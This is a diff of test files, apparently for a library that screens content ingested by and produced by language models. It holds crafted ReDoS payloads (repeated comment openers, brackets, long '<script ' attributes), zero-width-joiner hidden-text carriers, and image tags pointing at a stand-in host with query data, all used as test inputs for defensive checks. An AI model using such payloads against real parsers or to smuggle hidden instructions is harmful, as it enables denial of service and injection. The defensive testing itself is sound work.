payload = (unit * (_REDOS_N // len(unit) + 1))[:_REDOS_N]
|
||||
start = time.monotonic()
|
||||
scanner(payload)
|
||||
assert time.monotonic() - start < 2.0
|
||||
def test_crafted_redos_payload_stays_bounded(scanner, unit, n):
|
||||
payload = (unit * (n // len(unit) + 1))[:n]
|
||||
assert scan_seconds(scanner, payload) < 2.0
|
||||
|
||||
|
||||
def test_the_redos_clock_ignores_time_this_process_did_not_spend():
|
||||
# The instrument the bounds above are measured on, pinned -- because getting
|
||||
# it wrong makes a GREEN suite look red. In 0.7.0 these bounds ran on
|
||||
# `time.monotonic()`, and two rows failed at 2.24s / 3.66s against the 2.0s
|
||||
# bound while two census processes had the CPU; the same rows passed 3/3 on
|
||||
# an idle machine. The scans had not slowed down -- they were descheduled.
|
||||
#
|
||||
# Measured on this machine (16 logical / 8 physical cores), `lexicon-script-tag`,
|
||||
# shipped form, idle vs 2x vs 4x oversubscription:
|
||||
#
|
||||
# wall 0.74s -> 3.55s -> 8.13s (11x, still climbing with load)
|
||||
# cpu 0.74s -> 1.42s -> 1.50s (2.0x, flat from 2x to 4x)
|
||||
#
|
||||
# Wall-clock inflation is proportional to how many other processes want the
|
||||
# CPU and has no ceiling. Process CPU inflation is bounded by SMT and memory
|
||||
# contention -- a sibling hyperthread can cost you roughly 2x and nothing
|
||||
# beyond it, which is why the two right-hand columns barely differ. On an
|
||||
# idle machine the two clocks are the same number (measured ratio 1.00), so
|
||||
# switching instrument re-derives NOTHING above: every figure in the bound
|
||||
# derivation stays true as a CPU-time figure.
|
||||
#
|
||||
# What this clock gives up: a scan that BLOCKS forever burns no CPU, so it
|
||||
# would hang the suite instead of failing it. Acceptable here -- these
|
||||
# scanners are pure regex over an in-memory string, with no I/O and no locks,
|
||||
# so the only way they can be slow is by spending cycles. That held for
|
||||
# `test_pathological_input_returns_within_a_bound` above too, once its path
|
||||
# was actually checked for something that could block; it kept a wall clock
|
||||
# on the "or a hang" claim until then, and paid 21.6s against a 10.0s bound
|
||||
# under load for a mode it could not have.
|
||||
#
|
||||
# A sleep is the defect class at its purest: wall-clock seconds this process
|
||||
# did not spend. 0.4s is 4x the assertion, so this cannot pass by timing luck.
|
||||
assert scan_seconds(lambda _: time.sleep(0.4), "") < 0.1
|
||||
|
||||
|
||||
def test_crafted_redos_payload_bounded_through_the_public_gate():
|
||||
|
|
@ -419,6 +502,81 @@ def test_crafted_redos_payload_bounded_through_the_public_gate():
|
|||
# invokes is bounded too -- with the worst measured payload (`<a:`, 660x the
|
||||
# slowest legitimate content of the same size).
|
||||
payload = ("<a:" * (_REDOS_N // 3 + 1))[:_REDOS_N]
|
||||
start = time.monotonic()
|
||||
scan_output(payload)
|
||||
assert time.monotonic() - start < 2.0
|
||||
assert scan_seconds(scan_output, payload) < 2.0
|
||||
|
||||
|
||||
def test_gate_is_bounded_on_the_payload_the_first_sweep_missed():
|
||||
# The hole in 0.3.2, found by the input-path sweep that `8deca93` scoped.
|
||||
# `[` appears in the table above only against `scan_active_content`, and the
|
||||
# gate test above uses `<a:` -- so no row ever drove `[` through the LEXICON,
|
||||
# which `scan_output` also runs. It was quadratic there: 8.045s at 16_000
|
||||
# chars, ~8.3 HOURS extrapolated to the cap. The guilty pattern is named by
|
||||
# test_lexicon.py::test_crafted_redos_payload_stays_bounded_in_the_lexicon;
|
||||
# this row exists so the composed gate a caller actually invokes is covered.
|
||||
payload = "[" * _REDOS_N
|
||||
assert scan_seconds(scan_output, payload) < 2.0
|
||||
|
||||
|
||||
def test_gate_is_bounded_on_the_long_attribute_arm():
|
||||
# The composed-gate row for the defect pinned in test_active_content.py and
|
||||
# test_neutralize.py. `scan_output` runs `scan_active_content`, so the gate a
|
||||
# caller actually invokes inherits it. Not expressible as a repeating unit —
|
||||
# the tag has to CLOSE for the body to be handed on — which is exactly why
|
||||
# the unit-table above never covered it.
|
||||
#
|
||||
# The carrier is `<script `, not the `<a ` this row shipped with through
|
||||
# 0.7.0, because 0.7.0's own no-URL narrowing killed the row: `<a>` is in
|
||||
# `_URL_AFFORDANCE_TAGS`, so a bare `<a ...>` carrying no URL attribute is
|
||||
# now inert and returns BEFORE the body reaches `URL_IN_TEXT_RE` — the arm
|
||||
# this row exists to guard. Measured with the pre-fix uncapped scheme run
|
||||
# patched back in, at _REDOS_N through `scan_active_content`:
|
||||
#
|
||||
# <a ...> 0.028s and NO findings <- dead: never reaches the arm
|
||||
# <script ...> 12.475s <- the arm, still quadratic
|
||||
# <a href=x …> 12.719s
|
||||
# <form ...> 17.092s
|
||||
#
|
||||
# So the row was green against the vulnerable form: separation 1.0x, zero
|
||||
# signal. With `<script ` it is 0.53s shipped vs 18.85s vulnerable through
|
||||
# `scan_output` — 35x apart, with the bound 3.8x above the shipped side.
|
||||
# `<script>` is the durable choice of the three: it is active by NAME with no
|
||||
# attributes at all, so no future URL-shaped narrowing can make it inert the
|
||||
# way it just did to `<a >`.
|
||||
payload = "<script " + "A" * _REDOS_N + ">"
|
||||
assert scan_seconds(scan_output, payload) < 2.0
|
||||
|
||||
|
||||
# --- ZWJ inside emoji sequences on the output gate ---------------------------
|
||||
#
|
||||
# Same defect class as `sanitize`, second surface: `_ZERO_WIDTH_CPS` tested
|
||||
# U+200D on membership alone, so a model that legitimately reproduced a
|
||||
# ZWJ-composed emoji into an artifact raised `output:zero-width-present` — an
|
||||
# any-tier FAIL_SECURE carrier. Both surfaces must apply the same context test,
|
||||
# or the input side stops flagging and the output side keeps blocking.
|
||||
|
||||
def test_zwj_inside_emoji_sequence_is_not_flagged_on_the_output_gate():
|
||||
for emoji in ("\U0001F469\U0001F4BB",
|
||||
"\U0001F468\U0001F469\U0001F467",
|
||||
"\U0001F469\U0001F3FD\U0001F4BB",
|
||||
"❤️\U0001F525"):
|
||||
labels = {f.label for f in scan_output(f"Shipped {emoji} today.").findings}
|
||||
assert "output:zero-width-present" not in labels, emoji
|
||||
|
||||
|
||||
def test_freestanding_zwj_is_still_flagged_on_the_output_gate():
|
||||
labels = {f.label for f in scan_output("important instruction").findings}
|
||||
assert "output:zero-width-present" in labels
|
||||
|
||||
|
||||
def test_output_zwj_narrowing_matches_the_sanitize_side():
|
||||
# The two surfaces must agree: anything sanitize strips, the output gate
|
||||
# flags. A split here is how a carrier reaches a persisted artifact after
|
||||
# passing the input side.
|
||||
from llm_ingestion_guard.sanitize import sanitize
|
||||
for text in ("a\U0001F469", "\U0001F469a", "\U0001F469", "\U0001F469",
|
||||
"\U0001F469\U0001F4BB", "important"):
|
||||
stripped = "sanitize:zero-width" in {
|
||||
f.label for f in sanitize(text).report.findings}
|
||||
flagged = "output:zero-width-present" in {
|
||||
f.label for f in scan_output(text).findings}
|
||||
assert stripped == flagged, f"{text!r}: sanitize={stripped} output={flagged}"
|
||||
|
|
|
|||
|
|
@ -6,6 +6,7 @@ of the input.
|
|||
"""
|
||||
from llm_ingestion_guard.sanitize import sanitize
|
||||
from llm_ingestion_guard.report import Severity, Source
|
||||
from redos_clock import scan_seconds
|
||||
|
||||
|
||||
def _is_subsequence(sub: str, full: str) -> bool:
|
||||
|
|
@ -75,3 +76,118 @@ def test_data_uri_does_not_match_inside_a_word():
|
|||
def test_output_source_is_respected():
|
||||
result = sanitize("xy", source=Source.OUTPUT)
|
||||
assert all(f.source is Source.OUTPUT for f in result.report.findings)
|
||||
|
||||
|
||||
# --- self-safety (OWASP LLM10): ReDoS on the comment stripper ----------------
|
||||
# `sanitize` is step 1 of `prepare_input` -- the first thing every ingested
|
||||
# document hits -- and unlike `scan_lexicon`/`scan_output` it applies NO input
|
||||
# cap, so a quadratic run here has no ceiling at all. `<!--.*?-->` is a lazy run
|
||||
# in front of a REQUIRED literal: crafted input that repeats the opener and never
|
||||
# supplies `-->` makes every start position rescan the tail. Measured 20.1s at
|
||||
# 100_000 chars, exponent 1.96-2.14 over four doublings. Found by
|
||||
# docs/redos-sweep.py once it was generalised past the lexicon table.
|
||||
_REDOS_N = 100_000
|
||||
|
||||
|
||||
def test_crafted_comment_payload_stays_bounded():
|
||||
payload = ("<!--" * (_REDOS_N // 4 + 1))[:_REDOS_N]
|
||||
assert scan_seconds(sanitize, payload) < 2.0
|
||||
|
||||
|
||||
def test_legitimate_comment_heavy_document_is_far_under_the_bound():
|
||||
# The bound above only has signal if ordinary comment-dense content is
|
||||
# nowhere near it: this is the same size, 100% closed comments.
|
||||
#
|
||||
# This row is the legitimate SIDE of that separation, not a second pin on the
|
||||
# defect: patching the lazy `<!--.*?-->` form back in leaves it green (0.016s),
|
||||
# because closed comments never make the required literal go missing. It is
|
||||
# the tighter of the two bounds and so the more load-sensitive, which is why
|
||||
# it moves to the CPU clock along with its neighbour.
|
||||
unit = "<!-- a note -->"
|
||||
payload = (unit * (_REDOS_N // len(unit) + 1))[:_REDOS_N]
|
||||
assert scan_seconds(sanitize, payload) < 0.5
|
||||
|
||||
|
||||
def test_comment_stripping_survives_the_redos_fix():
|
||||
# Recall parity for every comment shape the lazy regex used to handle:
|
||||
# nested markup, newlines (the pattern was DOTALL), and an unterminated
|
||||
# comment, which must be left alone rather than swallowed to end-of-input.
|
||||
assert sanitize("a <!-- <b>x</b> --> z").text == "a z"
|
||||
assert sanitize("a <!-- one\ntwo --> z").text == "a z"
|
||||
assert sanitize("a <!-- x --> b <!-- y --> c").text == "a b c"
|
||||
assert sanitize("a <!-- never closed").text == "a <!-- never closed"
|
||||
assert sanitize("a --> b").text == "a --> b"
|
||||
|
||||
|
||||
# --- ZWJ inside emoji sequences is not a carrier ------------------------------
|
||||
#
|
||||
# `_ZERO_WIDTH` used to test U+200D on codepoint membership alone, so every
|
||||
# first-party document containing a ZWJ-composed emoji (professions, families,
|
||||
# skin tones) raised `sanitize:zero-width` — an any-tier FAIL_SECURE carrier in
|
||||
# `disposition._CARRIER_LABELS`, i.e. hard-blocked with no appeal. Worse, the
|
||||
# stripper also *removed* the joiner, silently decomposing 👩💻 into two
|
||||
# unrelated emoji: a false positive AND content corruption on the same char.
|
||||
#
|
||||
# The fix mirrors what our own lexicon row `unicode:zero-width-in-word`
|
||||
# (`\w[ZW]\w`) already did: judge the ZWJ by its CONTEXT, not its identity. A
|
||||
# joiner is exempt only when BOTH neighbours are emoji-context codepoints.
|
||||
|
||||
_EMOJI_ZWJ_CASES = [
|
||||
("woman technologist", "\U0001F469\U0001F4BB"),
|
||||
("family", "\U0001F468\U0001F469\U0001F467"),
|
||||
("skin tone + job", "\U0001F469\U0001F3FD\U0001F4BB"),
|
||||
("heart on fire", "❤️\U0001F525"), # VS16 before the joiner
|
||||
("rainbow flag", "\U0001F3F3️\U0001F308"),
|
||||
]
|
||||
|
||||
|
||||
def test_zwj_inside_emoji_sequence_is_neither_flagged_nor_stripped():
|
||||
for name, emoji in _EMOJI_ZWJ_CASES:
|
||||
text = f"Release notes: {emoji} shipped."
|
||||
result = sanitize(text)
|
||||
labels = {f.label for f in result.report.findings}
|
||||
assert "sanitize:zero-width" not in labels, f"{name}: false positive"
|
||||
assert result.text == text, f"{name}: joiner stripped, emoji decomposed"
|
||||
|
||||
|
||||
def test_emoji_only_document_stays_byte_identical():
|
||||
# The byte-identity invariant (§9) must survive the exemption: a document
|
||||
# whose ONLY zero-width char is an in-emoji joiner has nothing to strip.
|
||||
text = "\U0001F469\U0001F4BB"
|
||||
result = sanitize(text)
|
||||
assert result.text is text or result.text == text
|
||||
assert result.report.findings == []
|
||||
|
||||
|
||||
def test_freestanding_zwj_is_still_a_carrier():
|
||||
# The whole point of the narrowing: real invisible-text stego must survive
|
||||
# it. A joiner splitting a word has no emoji on either side.
|
||||
result = sanitize("important instruction")
|
||||
assert "sanitize:zero-width" in {f.label for f in result.report.findings}
|
||||
assert "" not in result.text
|
||||
|
||||
|
||||
def test_zwj_with_only_one_emoji_neighbour_is_still_a_carrier():
|
||||
# Half-context is not context. `a<ZWJ>👩` and `👩<ZWJ>a` are not RGI
|
||||
# sequences, so an attacker cannot buy exemption with a single emoji.
|
||||
for text in ("a\U0001F469", "\U0001F469a"):
|
||||
result = sanitize(text)
|
||||
assert "sanitize:zero-width" in {f.label for f in result.report.findings}, text
|
||||
assert "" not in result.text
|
||||
|
||||
|
||||
def test_zwj_at_document_edge_is_still_a_carrier():
|
||||
# A joiner with no neighbour at all cannot be inside a sequence.
|
||||
for text in ("\U0001F469", "\U0001F469", ""):
|
||||
result = sanitize(text)
|
||||
assert "sanitize:zero-width" in {f.label for f in result.report.findings}, repr(text)
|
||||
|
||||
|
||||
def test_other_zero_width_classes_are_untouched_by_the_zwj_narrowing():
|
||||
# Only U+200D got a context test. ZWSP/ZWNJ/BOM/soft-hyphen between emoji
|
||||
# stay carriers — ZWNJ's own false-positive class (Persian/Devanagari
|
||||
# orthography) is a separate, deliberately unaddressed decision.
|
||||
for cp in (0x200B, 0x200C, 0xFEFF, 0x00AD):
|
||||
text = f"\U0001F469{chr(cp)}\U0001F4BB"
|
||||
result = sanitize(text)
|
||||
assert "sanitize:zero-width" in {f.label for f in result.report.findings}, hex(cp)
|
||||
|
|
|
|||
|
|
@ -141,8 +141,12 @@ _FIELD_QUERY_URLS = [
|
|||
# claude-code-llm-wiki: 16/16 query-carrying external URLs in a 527-document
|
||||
# vendor-docs corpus were publisher-authored campaign tracking.
|
||||
("vendor-tracking", "https://claude.com/pricing?utm_source=docs&utm_medium=referral"),
|
||||
# linkedin-studio: 35/35 in an 81-URL capture store were content identity —
|
||||
# linkedin-studio: 28/28 in an 81-URL capture store were content identity —
|
||||
# the parameter *is* the resource, so stripping it does not dereference.
|
||||
# (This comment said 35/35 until 2026-08-10. That number was retracted by the
|
||||
# consumer itself a day after it was given — their re-run enumerated every URL
|
||||
# and landed on 28, and `docs/LIMITATIONS.md` was corrected then while this
|
||||
# comment was not. The denominator, 81, was confirmed by the same re-run.)
|
||||
("content-identity-video", "https://www.youtube.com/watch?v=dQw4w9WgXcQ"),
|
||||
("content-identity-feed", "https://www.youtube.com/feeds/videos.xml?channel_id=UC7cs8q"),
|
||||
("pagination", "https://www.stortinget.no/no/Saker-og-publikasjoner/?all=true"),
|
||||
|
|
@ -179,11 +183,38 @@ def test_inert_vendor_doc_html_is_not_active(text):
|
|||
|
||||
|
||||
@pytest.mark.parametrize("text", [
|
||||
'<a href="https://x.example/p">here</a>', '<img src="https://x.example/a.png">',
|
||||
'<div onclick="x()">clickme</div>',
|
||||
'<img src="https://x.example/a.png">', '<div onclick="x()">clickme</div>',
|
||||
'<iframe src="https://x.example/x"></iframe>',
|
||||
])
|
||||
def test_active_raw_html_still_fails_secure_on_upload(text):
|
||||
# The other half of the same correction: `a` and `img` are active by name, so
|
||||
# hand-written links and images in raw HTML *are* caught. The overcount is in
|
||||
# the formatting tags above, not in a weakened rule.
|
||||
def test_zero_click_raw_html_still_fails_secure_on_upload(text):
|
||||
# The other half of the same correction: `img` is active by name, so a
|
||||
# hand-written image in raw HTML *is* caught. The overcount is in the
|
||||
# formatting tags above, not in a weakened rule.
|
||||
assert screen_output(text, PRESET_USER_UPLOAD).disposition is Disposition.FAIL_SECURE
|
||||
|
||||
|
||||
def test_split_tightens_the_trusted_tier_when_both_carriers_are_present():
|
||||
# The cost side of the carrier split, pinned because it runs OPPOSITE to the
|
||||
# change's purpose. Splitting one class into two means a document carrying
|
||||
# both an `<img src>` and an `<a href>` now emits TWO findings at MEDIUM+
|
||||
# where it emitted one, which trips the compound overlay: WARN through 0.6.1,
|
||||
# QUARANTINE_REVIEW from 0.7.0. On the trusted preset nothing was hard-failed
|
||||
# to begin with, so this is the only direction the split can move it.
|
||||
both = ('<img src="https://x.example/a.png?d=1"> '
|
||||
'and <a href="https://x.example/p?d=2">t</a>')
|
||||
assert screen_output(both, PRESET_TRUSTED_SOURCE).disposition is Disposition.QUARANTINE_REVIEW
|
||||
|
||||
# The same document with only the zero-click carrier still WARNs on trusted:
|
||||
# the escalation comes from the second finding, not from a changed severity.
|
||||
only_img = '<img src="https://x.example/a.png?d=1">'
|
||||
assert screen_output(only_img, PRESET_TRUSTED_SOURCE).disposition is Disposition.WARN
|
||||
|
||||
|
||||
def test_raw_anchor_is_held_for_review_not_hard_failed():
|
||||
# 0.7.0's carrier split. A raw anchor was FAIL_SECURE through 0.6.1 while the
|
||||
# identical markdown link was WARN — an asymmetry of syntax, not affordance.
|
||||
# It is now held for a human like every other click-required carrier. Pinned
|
||||
# HERE, at the composed gate, because what a consumer feels is the
|
||||
# disposition, not the label: this must never reach WARN either.
|
||||
result = screen_output('<a href="https://x.example/p">here</a>', PRESET_USER_UPLOAD)
|
||||
assert result.disposition is Disposition.QUARANTINE_REVIEW, result
|
||||
|
|
|
|||
Loading…
Add table
Add a link
Reference in a new issue